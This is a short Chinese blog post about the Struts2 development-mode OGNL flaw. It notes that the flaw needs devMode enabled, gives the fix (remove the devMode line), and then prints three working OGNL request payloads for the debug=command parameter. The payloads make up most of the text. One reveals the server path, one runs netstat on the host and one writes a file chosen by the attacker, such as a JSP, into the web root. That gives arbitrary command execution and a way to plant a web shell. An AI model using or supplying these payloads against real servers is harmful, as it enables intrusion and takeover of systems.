Struts2开发模式下“最新漏洞”
Struts 2 Devmode: An OGNL Backdoor (Struts2 开发模式:一个OGNL后门)。这个漏洞必须Web应用开启开发模式,在struts.xml需要配置:<constant name="struts.devMode" value="true" />这一行配置一般会在项目开发或未上线的时候用,所以利用价值不高。
漏洞利用详情在老外的文章也有了,这个漏洞应该不会让各位加班吧线上根本就不应该有开启开发模式的。修复方案很简单,删除开发模式那行代码就行了。好了大家好好过年吧。
debug=command&expression=#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'), #f.setAccessible(true), #f.set(#_memberAccess,true), #req=@org.apache.struts2.ServletActionContext@getRequest(), #resp=@org.apache.struts2.ServletActionContext@getResponse().getWriter(), #resp.println(#req.getRealPath("/")), %23resp.close()
debug=command&expression=#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'), #f.setAccessible(true), #f.set(#_memberAccess,true), #req=@org.apache.struts2.ServletActionContext@getRequest(), #resp=@org.apache.struts2.ServletActionContext@getResponse().getWriter(), #a=(new java.lang.ProcessBuilder(new java.lang.String[]{'netstat','-an'})).start(), #b=#a.getInputStream(), #c=new java.io.InputStreamReader(#b), #d=new java.io.BufferedReader(#c), #e=new char[1000], #d.read(#e), #resp.println(#e), #resp.close()
debug=command&expression=%23f=%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),%23f.setAccessible(true),%23f.set(%23_memberAccess,true%29,%23req=@org.apache.struts2.ServletActionContext@getRequest%28%29,%23resp=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23p%3d%23req.getRealPath(%22/%22)%2b%23req.getParameter(%22f%22), %23s%3dnew+java.io.RandomAccessFile(%23p,%22rw%22),%23s.write(%23req.getParameter(%22c%22).getBytes()),%23s.close(), %23resp.println(%23p%3d%23req.getRealPath(%22/%22)),%23resp.close()&f=文件.jsp&c=内容